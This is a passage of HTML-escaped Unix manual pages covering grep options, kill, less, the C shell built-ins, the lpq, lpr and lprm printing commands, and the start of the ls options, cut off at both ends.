file. &lt;br&gt;&lt;br&gt;-h &lt;br&gt;Suppress the prefixing of filenames on output when multiple files are searched. &lt;br&gt;&lt;br&gt;-i &lt;br&gt;Ignore case distinctions in both the pattern and the input files. -L  Suppress normal output; instead print the name of each input file from  which no output would normally have been printed. -l Suppress normal  output; instead print the name of each input file from which output would normally have been printed. -n Prefix each line of output with the line number within its input file. &lt;br&gt;&lt;br&gt;-q &lt;br&gt;Quiet; suppress normal output. &lt;br&gt;&lt;br&gt;-s &lt;br&gt;Suppress error messages about nonexistent or unreadable files. -v Invert the sense of matching, to select non-matching lines. -w Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word constituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word-constituent characters are letters, digits, and the underscore. -x Select only those matches that exactly match the whole line.&lt;br&gt;&lt;br&gt;kill: kill sends the TERM (terminate, 15) signal to the processes with the specified pids. If a signal name or number preceded by `-&amp;#39; is given as first argument, that signal is sent instead of terminate. The signal names are listed by using the -l option, and are as given in &amp;lt;signal.h&amp;gt;, stripped of the common&lt;br&gt;SIG prefix. &lt;br&gt;&lt;br&gt;The terminate signal will kill processes that do not catch the signal, so `kill -9 ...&amp;#39; is a sure kill, as the KILL (9) signal cannot be caught. By convention, if process number 0 is specified, all members in the process group (that is, processes resulting from the current login) are signaled (but beware: this&lt;br&gt;works only if you use sh(1); not if you use csh(1).) Negative process numbers also have special meanings; see kill(2V) for details. The killed processes must belong to the current user unless he is the super-user. &lt;br&gt;&lt;br&gt;To shut the system down and bring it up single user the super-user may send the initialization process a TERM (terminate) signal by `kill 1&amp;#39;; see init(8). To force init to close and open terminals according to what is currently in /etc/ttytab use `kill -HUP 1&amp;#39; (sending a hangup signal to process 1).&lt;br&gt;&lt;br&gt;The shell reports the process number of an asynchronous process started with `&amp;amp;&amp;#39; (run in the background). Process numbers can also be found by using ps(1). &lt;br&gt;&lt;br&gt;kill is built in to csh(1); it allows job specifiers, such as `kill % ...&amp;#39;, in place of kill arguments. See csh(1) for details. &lt;br&gt;&lt;br&gt;less: Less is a program similar to more (1), but which allows backwards movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi (1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. (On a hardcopy terminal, lines which should be printed at the top of the screen are prefixed with an uparrow.) &lt;br&gt;&lt;br&gt;Commands are based on both more and vi. Commands may be preceeded by a decimal number, called N in the descriptions below. The number is used by some commands, as indicated.&lt;br&gt;&lt;br&gt;In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key; for example ESC-v means the two character sequence &amp;quot;ESCAPE&amp;quot;, then &amp;quot;v&amp;quot;. &lt;br&gt;&lt;br&gt;H &lt;br&gt; Help: display a summary of these commands. If you forget all the other  commands, remember this one. &lt;br&gt;&lt;br&gt;SPACE or f or ^F or ^V&lt;br&gt;Scroll forward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. Warning: some systems use ^V as a special literalization character. &lt;br&gt;&lt;br&gt;b or ^B or ESC-v&lt;br&gt;Scroll backward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. &lt;br&gt;&lt;br&gt;RETURN or ^N or e or ^E or j or ^J&lt;br&gt;Scroll forward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. &lt;br&gt;&lt;br&gt;y or ^Y or ^P or k or ^K&lt;br&gt;Scroll backward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. Warning: some systems use ^Y as a special job control character. &lt;br&gt;&lt;br&gt;d or ^D&lt;br&gt;Scroll forward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands. &lt;br&gt;&lt;br&gt;u or ^U&lt;br&gt;Scroll backward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands. &lt;br&gt;&lt;br&gt;r or ^R or ^L&lt;br&gt;Repaint the screen. &lt;br&gt;&lt;br&gt;R &lt;br&gt;Repaint the screen, discarding any buffered input. Useful if the file is changing while it is being viewed. &lt;br&gt;&lt;br&gt;g or &amp;lt; or ESC-&amp;lt;&lt;br&gt;Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow if N is large.) &lt;br&gt;&lt;br&gt;G or &amp;gt; or ESC-&amp;gt;&lt;br&gt;Go to line N in the file, default the end of the file. (Warning: this may be slow if N is large, or if N is not specified and standard input, rather than a file, is being read.) &lt;br&gt;&lt;br&gt;p or %&lt;br&gt;Go to a position N percent into the file. N should be between 0 and 100. (This works if standard input is being read, but only if less has already read to the end of the file. It is always fast, but not always useful.) &lt;br&gt;&lt;br&gt;m &lt;br&gt;Followed by any lowercase letter, marks the current position with that letter. &lt;br&gt;&lt;br&gt;` &lt;br&gt;(Single quote.) Followed by any lowercase letter, returns to the position which was previously marked with that letter. Followed by another single quote, returns to the postion at which the last &amp;quot;large&amp;quot; movement command was executed. All marks are lost when a new file is examined. &lt;br&gt;&lt;br&gt;^X^X Same as single quote. &lt;br&gt;&lt;br&gt;/pattern&lt;br&gt;Search forward in the file for the N-th line containing the pattern. N defaults to 1. The pattern is a regular expression, as recognized by ed. The search starts at the second line displayed (but see the -a option, which changes this). &lt;br&gt;&lt;br&gt;?pattern&lt;br&gt;Search backward in the file for the N-th line containing the pattern. The search starts at the line immediately before the top line displayed. &lt;br&gt;&lt;br&gt;/!pattern&lt;br&gt;Like /, but the search is for the N-th line which does NOT contain the pattern. &lt;br&gt;&lt;br&gt;?!pattern&lt;br&gt;Like ?, but the search is for the N-th line which does NOT contain the pattern. &lt;br&gt;&lt;br&gt;n &lt;br&gt;Repeat previous search, for N-th line containing the last pattern (or NOT containing the last pattern, if the previous search was /! or ?!). &lt;br&gt;&lt;br&gt;E [filename]&lt;br&gt;Examine a new file. If the filename is missing, the &amp;quot;current&amp;quot; file (see the N and P commands below) from the list of files in the command line is re-examined. If the filename is a pound sign (#), the previously examined file is re-examined. &lt;br&gt;&lt;br&gt;^X^V or :e&lt;br&gt;Same as E. Warning: some systems use ^V as a special literalization character. &lt;br&gt;&lt;br&gt;N or :n&lt;br&gt;Examine the next file (from the list of files given in the command line). If a number N is specified (not to be confused with the command N), the N-th next file is examined. &lt;br&gt;&lt;br&gt;P or :p&lt;br&gt;Examine the previous file. If a number N is specified, the N-th previous file is examined. &lt;br&gt;&lt;br&gt;= or ^G&lt;br&gt;Prints some information about the file being viewed, including its name and the line number and byte offset of the bottom line being displayed. If possible, it also prints the length of the file and the percent of the file above the last displayed line. &lt;br&gt;&lt;br&gt;- &lt;br&gt;Followed by one of the command line option letters (see below), this will change the setting of that option and print a message describing the new setting. If the option letter has a numeric value (such as -b or -h), or a string value (such as -P or -t), a new value may be entered after the option letter. &lt;br&gt;&lt;br&gt;_ &lt;br&gt;(Underscore.) Followed by one of the command line option letters (see below), this will print a message describing the current setting of that option. The setting of the option is not changed. &lt;br&gt;&lt;br&gt;+cmd &lt;br&gt;Causes the specified cmd to be executed each time a new file is examined. For example, +G causes less to initially display each file starting at the end&lt;br&gt;rather than the beginning. &lt;br&gt;&lt;br&gt;V &lt;br&gt;Prints the version number of less being run. &lt;br&gt;&lt;br&gt;q or :q or ZZ&lt;br&gt;Exits less. &lt;br&gt;&lt;br&gt;The following two commands may or may not be valid, depending on your particular installation. &lt;br&gt;&lt;br&gt;v &lt;br&gt;Invokes an editor to edit the current file being viewed. The editor is taken from the environment variable EDITOR, or defaults to &amp;quot;vi&amp;quot;. &lt;br&gt;&lt;br&gt;! shell-command&lt;br&gt;Invokes a shell to run the shell-command given. A percent sign in the command is replaced by the name of the current file. &amp;quot;!!&amp;quot; repeats the last shell command. &amp;quot;!&amp;quot; with no shell command simply invokes a shell. In all cases, the shell is taken from the environment variable SHELL, or defaults to &amp;quot;sh&amp;quot;. logout: Built-in commands are executed within the C shell. If a built-in command occurs as any component of a pipeline except the last, it is executed in a subshell. &lt;br&gt;&lt;br&gt;: &lt;br&gt; Null command. This command is interpreted, but performs no action. &lt;br&gt;&lt;br&gt;alias [ name [ def ] ]&lt;br&gt;Assign def to the alias name. def is a list of words that may contain escaped history substitution metasyntax. name is not allowed to be alias or unalias. If def is omitted, the alias name is displayed along with its current definition. If both name and def are omitted, all aliases are displayed. &lt;br&gt;&lt;br&gt;bg [%job] ...&lt;br&gt;Run the current or specified jobs in the background. &lt;br&gt;&lt;br&gt;break &lt;br&gt;Resume execution after the end of the nearest enclosing foreach or while loop. The remaining commands on the current line are executed. This allows multilevel breaks to be written as a list of break commands, all on one line. &lt;br&gt;&lt;br&gt;breaksw &lt;br&gt; Break from a switch, resuming after the endsw. &lt;br&gt;&lt;br&gt;case label:&lt;br&gt;A label in a switch statement. &lt;br&gt;&lt;br&gt;cd [ dir ]&lt;br&gt;chdir [ dir ]&lt;br&gt;Change the shell&amp;#39;s working directory to directory dir. If no argument is given, change to the home directory of the user. If dir is a relative pathname not found in the current directory, check for it in those directories listed in the cdpath variable. If dir is the name of a shell variable whose value starts with a /, change to the directory named by that value. &lt;br&gt;&lt;br&gt;continue Continue execution of the nearest enclosing while or foreach. &lt;br&gt;&lt;br&gt;default: Labels the default case in a switch statement. The default should come after all case labels. Any remaining commands on the command line are first executed. &lt;br&gt;&lt;br&gt;dirs [ -l ]&lt;br&gt;Print the directory stack, most recent to the left; the first directory shown is the current directory. With the -l argument, produce an unabbreviated printout; use of the ~ notation is suppressed. &lt;br&gt;&lt;br&gt;echo [ -n ] list&lt;br&gt;The words in list are written to the shell&amp;#39;s standard output, separated by SPACE characters. The output is terminated with a NEWLINE unless the -n option is used. &lt;br&gt;&lt;br&gt;eval argument ...&lt;br&gt;Reads the arguments as input to the shell, and executes the resulting command(s). This is usually used to execute commands generated as the result of command or variable substitution, since parsing occurs before these substitutions. See tset(1) for an example of how to use eval. &lt;br&gt;&lt;br&gt;exec command&lt;br&gt;Execute command in place of the current shell, which terminates. &lt;br&gt;&lt;br&gt;exit [ (expr) ]&lt;br&gt;The shell exits, either with the value of the status variable, or with the value of the specified by the expression expr. &lt;br&gt;&lt;br&gt;fg % [ job ]&lt;br&gt;Bring the current or specified job into the foreground. &lt;br&gt;&lt;br&gt;foreach var (wordlist)&lt;br&gt;...&lt;br&gt;&lt;br&gt;end &lt;br&gt;The variable var is successively set to each member of wordlist. The sequence of commands between this command and the matching end is executed for each new value of var. (Both foreach and end must appear alone on separate lines.) &lt;br&gt;&lt;br&gt;The built-in command continue may be used to continue the loop prematurely and the built-in command break to terminate it prematurely. When this command is read from the terminal, the loop is read up once prompting with ? before any statements in the loop are executed. &lt;br&gt;&lt;br&gt;glob wordlist&lt;br&gt;Perform filename expansion on wordlist. Like echo, but no \ escapes are recognized. Words are delimited by null characters in the output. &lt;br&gt;&lt;br&gt;goto label&lt;br&gt;The specified label is filename and command expanded to yield a label. The shell rewinds its input as much as possible and searches for a line of the form label: possibly preceded by SPACE or TAB characters. Execution continues after the indicated line. It is an error to jump to a label that occurs between a while or for built-in, and its corresponding end. &lt;br&gt;&lt;br&gt;hashstat Print a statistics line indicating how effective the internal hash table has been at locating commands (and avoiding execs). An exec is attempted for each component of the path where the hash function indicates a possible hit, and in each component that does not begin with a `/&amp;#39;. &lt;br&gt;&lt;br&gt;history [ -hr ] [ n ]&lt;br&gt;Display the history list; if n is given, display only the n most recent events. &lt;br&gt;&lt;br&gt;-r &lt;br&gt;Reverse the order of printout to be most recent first rather than oldest first. -h Display the history list without leading numbers. This is used to produce files suitable for sourcing using the -h option to source. &lt;br&gt;&lt;br&gt;if (expr) command&lt;br&gt;If the specified expression evaluates to true, the single command with arguments is executed. Variable substitution on command happens early, at the same time it does for the rest of the if command. command must be a simple command, not a pipeline, a command list, or a parenthesized command list. Note: I/O redirection occurs even if expr is false, when command is not executed (this is a bug). &lt;br&gt;&lt;br&gt;if (expr) then&lt;br&gt;...&lt;br&gt;else if (expr2) then ...&lt;br&gt;else&lt;br&gt;...&lt;br&gt;&lt;br&gt;endif &lt;br&gt;If expr is true, commands up to the first else are executed. Otherwise, if expr2 is true, the commands between the else if and the second else are executed. Otherwise, commands between the else and the endif are executed. Any number of else if pairs are allowed, but only one else. Only one endif is needed, but it is required. The words else and endif must be the first non-white characters on a line. The if must appear alone on its input line or after an else.) &lt;br&gt;&lt;br&gt;jobs[ -l ]&lt;br&gt;List the active jobs under job control. &lt;br&gt;&lt;br&gt;-l &lt;br&gt; List process IDs, in addition to the normal information. &lt;br&gt;&lt;br&gt;kill [ -sig ] [ pid ] [ %job ] ...&lt;br&gt;kill -l Send the TERM (terminate) signal, by default, or the signal specified, to the specified process ID, the job indicated, or the current job. Signals are either given by number or by name. There is no default. Typing kill does not send a signal to the current job. If the signal being sent is TERM (terminate) or HUP (hangup), then the job or process is sent a CONT (continue) signal as well. &lt;br&gt;&lt;br&gt;-l &lt;br&gt; List the signal names that can be sent. &lt;br&gt;&lt;br&gt;limit [ -h ] [ resource [ max-use ] ] Limit the consumption by the current process or any process it spawns, each not to exceed max-use on the specified resource. If max-use is omitted, print the current limit; if resource is omitted, display all limits. &lt;br&gt;&lt;br&gt;-h &lt;br&gt;Use hard limits instead of the current limits. Hard limits impose a ceiling  on the values of the current limits. Only the super-user may raise the hard limits. &lt;br&gt;&lt;br&gt;resource is one of: &lt;br&gt;&lt;br&gt;cputime &lt;br&gt;Maximum CPU seconds per process. &lt;br&gt;&lt;br&gt;filesize &lt;br&gt;Largest single file allowed. &lt;br&gt;&lt;br&gt;datasize &lt;br&gt;Maximum data size (including stack) for the process. &lt;br&gt;&lt;br&gt;stacksize &lt;br&gt;Maximum stack size for the &lt;br&gt;&lt;br&gt;process.&lt;br&gt;coredumpsize Maximum size of a core dump (file).&lt;br&gt;descriptors Maximum value for a file descriptor. &lt;br&gt;&lt;br&gt;max-use is a number, with an optional scaling factor, as follows: &lt;br&gt;&lt;br&gt;nh &lt;br&gt;Hours (for cputime). &lt;br&gt;&lt;br&gt;nk &lt;br&gt;n kilobytes. This is the default for all but cputime. &lt;br&gt;&lt;br&gt;nm &lt;br&gt;n megabytes or minutes (for cputime). &lt;br&gt;&lt;br&gt;mm:ss &lt;br&gt;Minutes and seconds (for cputime). &lt;br&gt;&lt;br&gt;login [ username|-p ]&lt;br&gt;Terminate a login shell and invoke login(1). The .logout file is not processed. If username is omitted, login prompts for the name of a user. &lt;br&gt;&lt;br&gt;-p &lt;br&gt;Preserve the current environment (variables). &lt;br&gt;&lt;br&gt;logout &lt;br&gt;Terminate a login shell. &lt;br&gt;&lt;br&gt;nice [ +n|-n ] [ command ]&lt;br&gt;Increment the process priority value for the shell or for command by n. The higher the priority value, the lower the priority of a process, and the slower it runs. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. If command is omitted, nice increments the value for the current shell. If no increment is specified, nice&lt;br&gt;sets the nice value to 4. The range of nice values is from -20 through 19. Values of n outside this range set the value to the lower, or to the higher boundary, respectively. &lt;br&gt;&lt;br&gt;+n &lt;br&gt;Increment the process priority value by n. &lt;br&gt;&lt;br&gt;-n &lt;br&gt;Decrement by n. This argument can be used only by the super-user. &lt;br&gt;&lt;br&gt;nohup [ command ]&lt;br&gt;Run command with HUPs ignored. With no arguments, ignore HUPs throughout the remainder of a script. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. All processes detached with &amp;amp; are effectively nohup&amp;#39;d. &lt;br&gt;&lt;br&gt;notify [ %job ] ...&lt;br&gt;Notify the user asynchronously when the status of the current, or of specified jobs, changes. &lt;br&gt;&lt;br&gt;onintr [ - | label]&lt;br&gt;Control the action of the shell on interrupts. With no arguments, onintr restores the default action of the shell on interrupts. (The shell terminates shell scripts and returns to the terminal command input level). With the - argument, the shell ignores all interrupts. With a label argument, the shell executes&lt;br&gt;a goto label when an interrupt is received or a child process terminates because it was interrupted. &lt;br&gt;&lt;br&gt;popd [+n]&lt;br&gt;Pop the directory stack, and cds to the new top directory. The elements of the directory stack are numbered from 0 starting at the top. &lt;br&gt;&lt;br&gt;+n &lt;br&gt;Discard the n&amp;#39;th entry in the stack. &lt;br&gt;&lt;br&gt;pushd [+n | dir]&lt;br&gt;Push a directory onto the directory stack. With no arguments, exchange the top two elements. &lt;br&gt;&lt;br&gt;+n &lt;br&gt;Rotate the n&amp;#39;th entry to the top of the stack and cd to it. dir Push the current working directory onto the stack and change to dir. &lt;br&gt;&lt;br&gt;rehash &lt;br&gt;Recompute the internal hash table of the contents of directories listed in the path variable to account for new commands added. &lt;br&gt;&lt;br&gt;repeat count command&lt;br&gt;Repeat command count times command is subject to the same restrictions as with the one-line if statement. &lt;br&gt;&lt;br&gt;set [var [ = value ] ]&lt;br&gt;set var[n] = word&lt;br&gt;With no arguments, set displays the values of all shell variables. Multiword values are displayed as a parenthesized list. With the var argument alone, set assigns an empty (null) value to the variable var. With arguments of the form var = value set assigns value to var, where value is one of: &lt;br&gt;&lt;br&gt;word &lt;br&gt;A single word (or quoted string). (wordlist) A space-separated list of words &lt;br&gt;enclosed in parentheses. &lt;br&gt;&lt;br&gt;Values are command and filename expanded before being assigned. The form set var[n] = word replaces the n&amp;#39;th word in a multiword value with word. &lt;br&gt;&lt;br&gt;setenv [ VAR [ word ] ]&lt;br&gt;With no arguments, setenv displays all environment variables. With the VAR argument sets the environment variable VAR to have an empty (null) value. (By convention, environment variables are normally given upper-case names.) With both VAR and word arguments setenv sets the environment variable NAME to the value word, which must be either a single word or a quoted string. The most commonly used environment variables, USER, TERM, and PATH, are automatically imported to and exported from the csh variables user, term, and path; there is no need&lt;br&gt;to use setenv for these. In addition, the shell sets the PWD environment variable from the csh variable cwd whenever the latter changes. &lt;br&gt;&lt;br&gt;shift [ variable ]&lt;br&gt;The components of argv, or variable, if supplied, are shifted to the left, discarding the first component. It is an error for the variable not to be set, or to have a null value. &lt;br&gt;&lt;br&gt;source [ -h ] name&lt;br&gt;Reads commands from name. source commands may be nested, but if they are nested too deeply the shell may run out of file descriptors. An error in a sourced file at any level terminates all nested source commands. &lt;br&gt;&lt;br&gt;-h &lt;br&gt;Place commands from the file name on the history list without executing them. &lt;br&gt;&lt;br&gt;stop [%job] ...&lt;br&gt;Stop the current or specified background job. &lt;br&gt;&lt;br&gt;suspend Stop the shell in its tracks, much as if it had been sent a stop signal with ^Z. This is most often used to stop shells started by su. &lt;br&gt;&lt;br&gt;switch (string)&lt;br&gt;case label:&lt;br&gt;...&lt;br&gt;breaksw&lt;br&gt;... default:&lt;br&gt;...&lt;br&gt;breaksw&lt;br&gt;&lt;br&gt;endsw &lt;br&gt;Each label is successively matched, against the specified string, which is first command and filename expanded. The file metacharacters *, ? and [...] may be used in the case labels, which are variable expanded. If none of the labels match before a &amp;quot;default&amp;quot; label is found, execution begins after the default label. Each case statement and the default statement must appear at the beginning of a line. The command breaksw continues execution after the endsw. Otherwise control falls through subsequent case and default statements as with C. If no label matches and there is no default, execution continues after the endsw. &lt;br&gt;&lt;br&gt;time [ command ]&lt;br&gt;With no argument, print a summary of time used by this C shell and its children. With an optional command, execute command and print a summary of the time it uses. &lt;br&gt;&lt;br&gt;umask [ value ]&lt;br&gt;Display the file creation mask. With value set the file creation mask. value is given in octal, and is XORed with the permissions of 666 for files and 777 for directories to arrive at the permissions for new files. Common values include 002, giving complete access to the group, and read (and directory search) access to others, or 022, giving read (and directory search) but not write permission to the group and others. &lt;br&gt;&lt;br&gt;unalias pattern&lt;br&gt;Discard aliases that match (filename substitution) pattern. All aliases are removed by unalias *. &lt;br&gt;&lt;br&gt;unhash &lt;br&gt;Disable the internal hash table. &lt;br&gt;&lt;br&gt;unlimit [ -h ] [ resource ]&lt;br&gt;Remove a limitation on resource. If no resource is specified, then all resource limitations are removed. See the description of the limit command for the list of resource names. &lt;br&gt;&lt;br&gt;-h &lt;br&gt;Remove corresponding hard limits. Only the super-user may do this. &lt;br&gt;&lt;br&gt;unset pattern&lt;br&gt;Remove variables whose names match (filename substitution) pattern. All variables are removed by `unset *&amp;#39;; this has noticeably distasteful sideeffects. &lt;br&gt;&lt;br&gt;unsetenv variable&lt;br&gt;Remove variable from the environment. Pattern matching, as with unset is not performed. &lt;br&gt;&lt;br&gt;wait &lt;br&gt;Wait for background jobs to finish (or for an interrupt) before prompting. &lt;br&gt;&lt;br&gt;while (expr)&lt;br&gt;...&lt;br&gt;&lt;br&gt;end &lt;br&gt;While expr is true (evaluates to non-zero), repeat commands between the while and the matching end statement. break and continue may be used to terminate or continue the loop prematurely. The while and end must appear alone on their input lines. If the shell&amp;#39;s input is a terminal, it prompts for commands with a question-mark until the end command is entered and then performs the commands in the loop. &lt;br&gt;&lt;br&gt;%[ job ] [ &amp;amp; ]&lt;br&gt;Bring the current or indicated job to the foreground. With the ampersand, continue running job in the background. &lt;br&gt;&lt;br&gt;@ [ var =expr ]&lt;br&gt;@ [ var[n] =expr ]&lt;br&gt;With no arguments, display the values for all shell variables. With arguments, the variable var, or the n&amp;#39;th word in the value of var, to the value that expr evaluates to. (If [n] is supplied, both var and its n&amp;#39;th component must already exist.) &lt;br&gt;&lt;br&gt;If the expression contains the characters &amp;gt;, &amp;lt;, &amp;amp; or |, then at least this part of expr must be placed within parentheses. &lt;br&gt;&lt;br&gt;The operators *=, +=, etc., are available as in C. The space separating the name from the assignment operator is optional. Spaces are, however, mandatory in separating components of expr that would otherwise be single words. &lt;br&gt;&lt;br&gt;Special postfix operators, ++ and -- increment or decrement name, respectively.&lt;br&gt;&lt;br&gt;lpq: lpq displays the contents of a printer queue. It reports the status of jobs specified by job#, or all jobs owned by the user specified by username. lpq reports on all jobs in the default printer queue when invoked with no arguments. &lt;br&gt;&lt;br&gt;For each print job in the queue, lpq reports the user&amp;#39;s name, current position, the names of input files comprising the job, the job number (by which it is referred to when using lprm(1)) and the total size in bytes. Normally, only as much information as will fit on one line is displayed. Jobs are normally queued on a first-in-first-out basis. Filenames comprising a job may be unavailable, such as when lpr is used at the end of a pipeline; in such cases the filename field indicates ``(standard input)&amp;#39;&amp;#39;. &lt;br&gt;&lt;br&gt;If lpq warns that there is no daemon present (that is, due to some malfunction), the lpc(8) command can be used to restart a printer daemon.&lt;br&gt;&lt;br&gt;-P printer &lt;br&gt;Display information about the queue for the specified printer. In the absence of the -P option, the queue to the printer specified by the PRINTER variable in the environment is used. If the PRINTER variable isn&amp;#39;t set, the queue for the default printer is used. &lt;br&gt;&lt;br&gt;-l &lt;br&gt;Display queue information in long format; includes the name of the host from which the job originated. &lt;br&gt;&lt;br&gt;+[ interval ]&lt;br&gt;Display the spool queue periodically until it empties. This option clears the terminal screen before reporting on the queue. If an interval is supplied, lpq sleeps that number of seconds in between reports.&lt;br&gt;&lt;br&gt;lpr: lpr creates a printer job in a spooling area for subsequent printing as facilities become available. Each printer job consists of a control file and one or more data files. The data files are copies of (or, with -s , symbolic links to) each filename you specify. The spool area is managed by the line printer&lt;br&gt;daemon, lpd(8). Jobs that specify a printer on a remote machine are forwarded by lpd. &lt;br&gt;&lt;br&gt;lpr reads from the standard input if no files are specified.&lt;br&gt;&lt;br&gt;-Pprinter &lt;br&gt;Send output to the named printer. Otherwise send output to the printer named in the PRINTER environment variable, or to the default printer, lp. &lt;br&gt;&lt;br&gt;-#copies &lt;br&gt;Produce the number of copies indicated for each named file. For example: &lt;br&gt;&lt;br&gt;example% lpr -#3 index.c lookup.c &lt;br&gt;&lt;br&gt;produces three copies of index.c, followed by three copies of lookup.c. On the other hand, &lt;br&gt;&lt;br&gt;example% cat index.c lookup.c | lpr -#3 &lt;br&gt;&lt;br&gt;generates three copies of the concatenation of the files. &lt;br&gt;&lt;br&gt;-Cclass &lt;br&gt;Print class as the job classification on the burst page. For example, &lt;br&gt;&lt;br&gt;example% lpr -C Operations new.index.c &lt;br&gt;&lt;br&gt;replaces the system name (the name returned by hostname) with &amp;quot;Operations&amp;quot; on the burst page, and prints the file new.index.c. &lt;br&gt;&lt;br&gt;-Jjob &lt;br&gt;Print job as the job name on the burst page. Normally, lpr uses the first file&amp;#39;s name. &lt;br&gt;&lt;br&gt;-Ttitle &lt;br&gt;Use title instead of the file name for the title used by pr(1V). &lt;br&gt;&lt;br&gt;-i[ indent ] &lt;br&gt;Indent output indent SPACE characters. Eight SPACE characters is the default. The indent is passed to the input filter. If no input filter is present, this option is ignored. -1 font -2 font -3 font -4 font &lt;br&gt;&lt;br&gt;Mount the specified font on font position 1, 2, 3 or 4. The daemon will construct a .railmag file in the spool directory that indicates the mount by referencing /usr/lib/vfont/font. &lt;br&gt;&lt;br&gt;-wcols &lt;br&gt;Use cols as the page width for pr. &lt;br&gt;&lt;br&gt;-r &lt;br&gt;Remove the file upon completion of spooling, or upon completion of printing with the -s option. &lt;br&gt;&lt;br&gt;-m &lt;br&gt;Send mail upon completion. &lt;br&gt;&lt;br&gt;-h &lt;br&gt;Suppress printing the burst page. &lt;br&gt;&lt;br&gt;-s &lt;br&gt;Create a symbolic link from the spool area to the data files rather than trying to copy them (so large files can be printed). This means the data files should not be modified or removed until they have been printed. This option can be used to avoid truncating files larger than the maximum given in the mx capability of the printcap(5) entry. -s only prevents copies of local files from being made. Jobs from remote hosts are copied anyway. -s only works with named data files; if the lpr command is at the end of a pipeline, the data is copied to the spool. &lt;br&gt;&lt;br&gt;filter-option The following single letter options notify the line printer spooler that the files are not standard text files. The spooling daemon will use the appropriate filters to print the data accordingly.&lt;br&gt;&lt;br&gt;-p &lt;br&gt;Use pr to format the files (lpr -p is very much like `pr | lpr&amp;#39;). -l Print control characters and suppress page breaks. -t The files contain troff(1) (cat phototypesetter) binary data. -n The files contain data from ditroff (device independent troff). -d The files contain data from tex (DVI format from Stanford). -g The files contain standard plot data as produced by the plot(3X) routines (see also plot(1G) for the filters used by the printer spooler). -v The files contain a raster image, see rasterfile(5). The printer must support an appropriate imaging model such as PostScript in order to print the image. -c The files contain data produced by cifplot. -f Interpret the first character of each line as a standard FORTRAN carriage control character. &lt;br&gt;&lt;br&gt;If no filter-option is given (and the printer can interpret PostScript), the string `%!&amp;#39; as the first two characters of a file indicates that it contains PostScript commands. &lt;br&gt;&lt;br&gt;These filter options offer a standard user interface, and all options may not be available for, nor applicable to, all printers.&lt;br&gt;&lt;br&gt;lprm: lprm removes a job or jobs from a printer&amp;#39;s spooling queue. Since the spool directory is protected from users, using lprm is normally the only method by which a user can remove a job. &lt;br&gt;&lt;br&gt;Without any arguments, lprm deletes the job that is currently active, provided that the user who invoked lprm owns that job. &lt;br&gt;&lt;br&gt;When the super-user specifies a username, lprm removes all jobs belonging to that user. &lt;br&gt;&lt;br&gt;You can remove a specific job by supplying its job number as an argument, which you can obtain using lpq(1). For example: &lt;br&gt;&lt;br&gt;example% lpq -Phost&lt;br&gt;host is ready and printing&lt;br&gt;Rank Owner Job Files Total Size active wendy 385 standard input 35501 bytes example% lprm&lt;br&gt;-Phost 385 &lt;br&gt;&lt;br&gt;lprm reports the names of any files it removes, and is silent if there are no applicable jobs to remove.&lt;br&gt;&lt;br&gt;lprm kills the active printer daemon, if necessary, before removing spooled jobs; it restarts the daemon when through.&lt;br&gt;&lt;br&gt;-Pprinter &lt;br&gt;Specify the queue associated with a specific printer. Otherwise the value of the PRINTER variable in the environment is used. If this variable is unset, the queue for the default printer is used. &lt;br&gt;&lt;br&gt;- &lt;br&gt;Remove all jobs owned by you. If invoked by the super-user, all jobs in the spool are removed. (Job ownership is determined by the user&amp;#39;s login name and host name on the machine where the lpr command was invoked).&lt;br&gt;&lt;br&gt;ls: -a, --all&lt;br&gt;List all files in directories, including all files that start with `.&amp;#39;. &lt;br&gt;&lt;br&gt;-b, --escape&lt;br&gt;Quote nongraphic characters in file names using alphabetic and octal backslash sequences like those used in C. &lt;br&gt;&lt;br&gt;-c, --time=ctime, --time=status&lt;br&gt;Sort directory contents according to the files&amp;#39; status change time instead of the modification time. If the long listing format is being used, print the status change time instead of the modification time. &lt;br&gt;&lt;br&gt;-d, --directory&lt;br&gt;List directories like other files, rather than listing their contents. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Do not sort directory contents; list them in whatever order they are stored on the disk. The same as enabling -a and -U and disabling -l, -s, and -t. &lt;br&gt;&lt;br&gt;--full-time&lt;br&gt;List times in full, rather than using the standard abbreviation heuristics. &lt;br&gt;&lt;br&gt;-g &lt;br&gt;Ignored; for Unix compatibility. &lt;br&gt;&lt;br&gt;-i, --inode&lt;br&gt;Print the index number of each file to the left of the file name. &lt;br&gt;&lt;br&gt;-k, --kilobytes&lt;br&gt;If file sizes are being listed, print them in kilobytes. This overrides the environment variable POSIXLY_CORRECT. &lt;br&gt;&lt;br&gt;-l, --format=long, --format=verbose&lt;br&gt;In addition to the name of each file, print the file type, permissions, number of hard links, owner name, group name, size in bytes, and timestamp (the modification time unless other times are selected). For files with a time that is more than 6 months old or more than 1 hour into the future, the timestamp contains the year instead of the time of day. &lt;br&gt;&lt;br&gt;-m, --format=commas&lt;br&gt;List files horizontally, with as many as will fit on each line, separated by commas. &lt;br&gt;&lt;br&gt;-n, --numeric-uid-gid&lt;br&gt;List the numeric UID and GID instead of the names. &lt;br&gt;&lt;br&gt;-p &lt;br&gt;Append a character to each file name indicating the file type. &lt;br&gt;&lt;br&gt;-q, --hide-control-chars&lt;br&gt;Print question marks instead of nongraphic characters in file names. &lt;br&gt;&lt;br&gt;-r, --reverse&lt;br&gt;Sort directory contents in reverse order. &lt;br&gt;&lt;br&gt;-s, --size&lt;br&gt;Print the size of each file in 1K blocks to the left of the file name. If the environment variable POSIXLY_CORRECT is set, 512-byte blocks are used instead. &lt;br&gt;&lt;br&gt;-t, --sort=time&lt;br&gt;&lt;br&gt;Sort directory contents by timestamp instead of alphabetically, with the newest files listed first. &lt;br&gt;&lt;br&gt;-u, --time=atime, --time=access, 